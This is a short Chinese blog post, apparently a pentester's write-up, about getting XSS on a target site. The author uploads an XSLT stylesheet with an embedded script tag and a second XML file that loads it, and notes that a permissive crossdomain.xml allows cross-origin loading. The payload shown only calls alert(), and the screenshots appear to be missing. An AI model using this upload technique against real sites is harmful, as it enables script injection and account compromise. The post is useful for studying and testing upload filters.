记一次由XML引起的XSS

记一次由XML引起的XSS

 

 

同源策略:

同源策略(Same origin policy)是一种约定,它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。可以说Web是构建在同源策略基础之上的,浏览器只是针对同源策略的一种实现。

 

首先,通过目录探测发现目标站点存在crossdomain.xml文件,配置如下:

 

 

 

可以看到都是默认配置,允许所有的域。

 

在个人中心处,测试上传功能时,多番尝试始终无法getshell,就想上传html来制造XSS,很可惜:

 

 

 

 

但是发现可以上传xml:

 

 

 

思考了一下,想起来XML中可以加载外部的资源,那么可以先上传一个用来调用的xml文件,内容如下:

文件A.xml

<?xml version="1.0" encoding="iso-8859-1"?>

 

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">

 

<xsl:template match="/">

 

<html><body>

 

<script>alert(/xss/);</script>

 

</body></html>

 

</xsl:template>

 

</xsl:stylesheet>

 

得到 路径A

 

然后对其进行引用:

文件B.xml

<?xml version="1.0" encoding="iso-8859-1"?>

<?xml-stylesheet type="text/xsl" href="域名+路径A"?>

<test></test>

 

得到路径B

最后访问文件B:域名+路径B

成功触发XSS

 

 

 

 

这里我们引用的是同域下的文件,由于前面的crossdomain.xml的配置问题,这里我们甚至可以是从其他地方去引入这个文件。

posted @ 2020-02-18 10:34  rebootORZ  阅读(1301)  评论(0编辑  收藏  举报